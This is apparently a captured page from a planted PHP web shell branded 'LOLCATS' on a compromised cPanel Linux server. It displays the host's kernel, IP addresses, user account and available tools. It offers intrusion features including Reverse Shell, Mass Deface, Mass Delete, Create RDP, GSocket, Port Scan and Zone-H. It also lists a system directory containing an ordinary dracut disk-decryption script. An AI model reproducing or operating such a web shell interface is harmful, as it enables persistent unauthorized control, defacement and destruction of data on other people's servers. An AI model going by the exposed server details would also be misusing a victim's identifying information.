LOLCATS
:
/
usr
/
lib
/
dracut
/
modules.d
/
91crypt-loop
/ [
drwxr-xr-x
]
Information Server
System: Linux sonos4.linuxplace.net 4.18.0-305.19.1.el8_4.x86_64 #1 SMP Wed Sep 15 11:28:53 EDT 2021 x86_64
Software: Apache/2.4.67 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4
PHP Version: 8.3.31 PHP Os: Linux
Server IP: 46.248.185.66
Your IP: 216.73.217.63
User: truechri [1004] | Group: [truechri] [1006]
Safe Mode:
OFF
MYSQL:
OFF
| PERL:
ON
| PYTHON:
ON
| WGET:
ON
| CURL:
ON
| GCC:
ON
| PKEXEC:
ON
Disable Function:
exec,passthru,shell_exec,system
Command
ON
Config Searcher
Create RDP
Find Modified Time
Find File
Get Tools
GSocket
Jumping
Lock File
Mass Deface
Mass Delete
Mass Chmod
Mass Change Date
Port Scan
Reverse Shell
Upload
Zone-H
: crypt-loop-lib.sh
#!/bin/sh command -v ask_for_password >/dev/null || . /lib/dracut-crypt-lib.sh # loop_decrypt mnt_point keypath keydev device # # Decrypts symmetrically encrypted key to standard output. # # mnt_point - mount point where <keydev> is already mounted # keypath - LUKS encrypted loop file path relative to <mnt_point> # keydev - device on which key resides; only to display in prompt # device - device to be opened by cryptsetup; only to display in prompt loop_decrypt() { local mntp="$1" local keypath="$2" local keydev="$3" local device="$4" local key="/dev/mapper/$(str_replace "loop-$keydev-$mntp-$keypath" '/' '-')" if [ ! -b $key ]; then local loopdev=$(losetup -f "${mntp}/${keypath}" --show) local opts="-d - luksOpen $loopdev ${key##*/}" ask_for_password \ --cmd "cryptsetup $opts" \ --prompt "Password ($keypath on $keydev for $device)" \ --tty-echo-off [ -b $key ] || die "Failed to unlock $keypath on $keydev for $device." printf "%s\n" "cryptsetup luksClose \"$key\"" > ${hookdir}/cleanup/"crypt-loop-cleanup-10-${key##*/}".sh printf "%s\n" "losetup -d \"$loopdev\"" > ${hookdir}/cleanup/"crypt-loop-cleanup-20-${loopdev##*/}".sh fi cat $key }
NAME
TYPE
LAST MODIFIED
SIZE
OWNER
/
GROUP
PERMISSIONS
ACTION
..
crypt-loop-lib.sh
f!le
2018-10-08 13:38
1.25 KB
root
/
root
-rwxr-xr-x
module-setup.sh
f!le
2018-10-08 13:38
375 B
root
/
root
-rwxr-xr-x
© LOLCATS